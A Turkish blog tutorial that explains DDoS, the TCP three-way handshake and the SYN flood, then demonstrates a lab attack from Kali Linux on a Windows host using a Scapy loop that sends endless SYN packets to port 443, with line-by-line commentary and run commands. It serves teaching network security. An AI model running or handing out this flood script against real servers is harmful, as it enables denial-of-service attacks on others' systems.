Bloga geri dön
Bu yazımda bir DDoS (Distributed Denial of Service) saldırı türü olan TCP SYN saldırısından bahsedecek ve kısa bir örnek ile konuyu pekiştirmeye çalışacağım. Önce temel olarak Ddos ve TCP kavramlarına değinelim.
DDoS (Distributed Denial of Service), bir sunucuya, ağa veya servise aynı anda çok sayıda farklı kaynaktan istek gönderilerek sistem kaynaklarının tüketilmesini ve hizmet veremez hâle gelmesini amaçlayan bir saldırı türüdür. Bu saldırılar genellikle botnet adı verilen, saldırgan tarafından kontrol edilen çok sayıda ele geçirilmiş cihaz üzerinden gerçekleştirilir.
TCP (Transmission Control Protocol), internet üzerinde güvenilir veri iletimini sağlayan bağlantı odaklı bir protokoldür. TCP, veri iletimine başlamadan önce “three-way handshake” (üçlü el sıkışma) adı verilen bir süreç uygular.
Bu süreçte istemci sunucuya bir SYN paketi gönderir, sunucu SYN-ACK ile yanıt verir ve istemci ACK paketi göndererek bağlantıyı kurar. Bu mekanizma, verilerin sıralı ve eksiksiz iletilmesini sağlar.Şimdi bu paketlerin ne ifade ettiğini daha detaylı inceleyelim.
İlk adımda istemci, sunucuya bir SYN paketi gönderir.
Bu paket şu anlama gelir:
“Seninle bağlantı kurmak istiyorum ve başlangıç sıra numaram budur.”
Bu aşamada istemci, bağlantı başlatma isteğini iletir ancak henüz bağlantı kurulmuş sayılmaz.
Sunucu, istemciden gelen SYN paketini aldıktan sonra bir SYN-ACK paketi ile yanıt verir.
Bu yanıt şu anlamı taşır: “Bağlantı isteğini aldım, ben de hazırım ve senin gönderdiğin paketi onaylıyorum.”
Bu adımda sunucu, istemci için kaynak ayırır ve bağlantının tamamlanmasını bekler.
Son adımda istemci, sunucunun SYN-ACK paketine karşılık olarak bir ACK paketi gönderir.
Bu paketle birlikte istemci şunu belirtir: “Senin yanıtını aldım ve bağlantıyı kabul ediyorum.”
Bu paketin gönderilmesiyle birlikte TCP bağlantısı başarıyla kurulmuş olur ve artık veri iletimi başlayabilir. Three-way handshake tamamlandıktan sonra istemci ve sunucu arasında güvenli ve sıralı bir şekilde veri alışverişi yapılabilir.
TCP SYN saldırısı, saldırganın hedef sunucuya çok sayıda SYN paketi gönderip, bağlantıyı tamamlamak için gerekli olan ACK paketini göndermemesiyle gerçekleştirilir. Sunucu her gelen SYN isteği için kaynak ayırır ve bağlantının tamamlanmasını bekler. Bu yarım kalan bağlantılar sunucu kaynaklarını tüketir ve sonuç olarak sunucu meşru kullanıcıların bağlantı taleplerine yanıt veremez hâle gelir.
Bu örnekte saldırgan olarak Kali Linux, hedef (kurban) olarak ise Windows işletim sistemi kullanılacaktır.
Saldırgan makine, farklı kaynak portları kullanarak hedefin 443 portuna sürekli TCP SYN paketleri göndererek trafik oluşturmayı ve sistem kaynaklarını tüketmeyi hedefler.
TCP paketleri, Python diliyle kullanılan Scapy aracı yardımıyla oluşturulacaktır.
Scapy, Python tabanlı güçlü bir ağ analiz ve paket oluşturma (packet crafting) aracıdır. Ağ paketlerini oluşturma, gönderme, yakalama, analiz etme ve değiştirme işlemlerini yapmaya imkân tanır.
Saldırgan makinede kullanılacak kod aşağıdaki gibidir.
Kod Açıklaması
while True:
Döngünün sürekli çalışmasını ve TCP SYN paketlerinin devamlı gönderilmesini sağlar.
from scapy.all import *
Scapy kütüphanesinin tüm modüllerini içe aktarır.
IP, TCP, paket gönderme/alma gibi ağ işlemleri bu kütüphane ile yapılır.
sport = random.randint(1024, 65535)
Kaynak portu rastgele seçer.
1024–65535 aralığı, genellikle istemciler tarafından kullanılan geçici portlardır.
print(“port no=”,sport)
Her döngüde kaynak port numarasını ekrana yazdırır.
ip = IP( dst='172.16.100.101')
Paketin gönderileceği hedef sistemin ip adresidir.
dst: Paketin gönderileceği hedef sunucunun IP adresi
SYN = TCP(sport=sport, dport=443, flags='S', )
TCP katmanında bir SYN paketi oluşturur.
sport: Kaynak port (rastgele seçilen port)
dport: Hedef port (443 → HTTPS)
flags='S': SYN bayrağını temsil eder (bağlantı başlatma)
send(ip/SYN)
IP ve SYN paketlerini birleştirir
SYN paketini sunucuya gönderir
print(“Döngü sonu”)
Her bir döngünün sonunda ekrana “Döngü sonu” yazısı basılır.
Adımlar:
Kurban Windows makinede 443 portunu açmak için komut satırında aşağıdaki komut çalıştırılabilir:
python -m http.server 443
(makinede python yüklü değil ise Microsoft Store üzerinden indirilebilir.)
Kali linux (saldırgan) makinede aşağıdaki ilk komutla .py dosyası oluşturulup içine üstte verilen kod yazılmalıdır. Dosya oluşturulduktan sonra py dosyasını çalıştırmak için komut satırında aşağıdaki 2.komut çalıştırılacaktır.
nano tcp_attack.py
python3 tcp_attack.py
(Makinede python yüklü değilse aşağıdaki komutlar ile yüklenebilir.)
sudo apt update
sudo apt install python3 python3-pip -y”)
Kod çalışınca aşağıdaki gibi bir çıktı alınmakta ve devamlı paket iletilmekte olduğu görülmektedir.
Sunucudaki trafikleri gözlemlemek için wireshark uygulamasını kurup, ardından eth0 seçilerek trafikler incelenebilir.
Kaynakça
https://stackoverflow.com/questions/26480854/three-way-handshake-in-scapy